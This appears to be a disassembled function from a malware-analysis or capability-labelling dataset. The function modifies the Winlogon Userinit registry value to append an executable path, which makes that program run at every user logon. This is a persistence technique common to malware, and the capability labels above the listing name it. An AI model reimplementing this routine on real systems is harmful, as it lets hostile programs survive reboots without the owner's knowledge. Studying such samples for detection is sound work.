Function at 0x4031f0
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e6ae
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x429084]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
test edi, edi
je 0x40327b
mov esi, 0xf003f
call fcn.00405700
test eax, eax
mov ecx, 0xf013f
lea eax, [ebp - 0x44]
push eax
cmovne esi, ecx
push esi
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40327b
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0
push str.Userinit
push dword [ebp - 0x44]
call esi
test eax, eax
je 0x403282
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x403493
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x54]
shr eax, 1
sub eax, 1
jne 0x4032af
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov word [ebp + eax*2 - 0x28], cx
jmp 0x4032ba
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.00404280
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x54]
push ecx
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 0
push 0
push str.Userinit
push dword [ebp - 0x44]
call esi
test eax, eax
je 0x4032ec
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
jmp 0x40347c
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x28]
push 0x2c
push eax
call fcn.004059f0
add esp, 0xc
lea ecx, [ebp - 0x40]
push edi
call fcn.00401300
push eax
mov byte [ebp - 4], 2
call fcn.00405b10
lea ecx, [ebp - 0x28]
add esp, 4
cmp ecx, eax
je 0x40333e
push 0xffffffffffffffff
push 0
push eax
call fcn.00401710
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
call fcn.004013a0
mov ecx, dword [ebp - 0x4c]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x50]
xor esi, esi
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4033c4
xor ebx, ebx
nop dword [eax]
lea eax, [edi + ebx]
push eax
call fcn.00405b10
add esp, 4
mov ecx, eax
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
push dword [ecx + 0x10]
mov byte [ebp - 4], 3
push 0
call fcn.00404720
mov byte [ebp - 4], 1
test eax, eax
je 0x40341c
mov ecx, dword [ebp - 0x4c]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x50]
inc esi
sub ecx, edi
add ebx, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x403370
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x50]
call fcn.004049b0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x50]
push 0x2c
push eax
call fcn.00405950
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
add esp, 0xc
cmp dword [ebp - 0x14], 8
cmovae ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push str.Userinit
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x40341c
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
jmp 0x40342a
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 1
mov ecx, dword [ebp - 0x50]
test ecx, ecx
je 0x40347c
push dword [ebp - 0x58]
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x4c]
push ecx
call fcn.00401270
mov ecx, dword [ebp - 0x48]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x50]
add esp, 0x10
sub ecx, esi
imul ecx
lea ecx, [ebp - 0x50]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push esi
call fcn.004019f0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x403491
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.00401990
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a2d1
mov esp, ebp
pop ebp
ret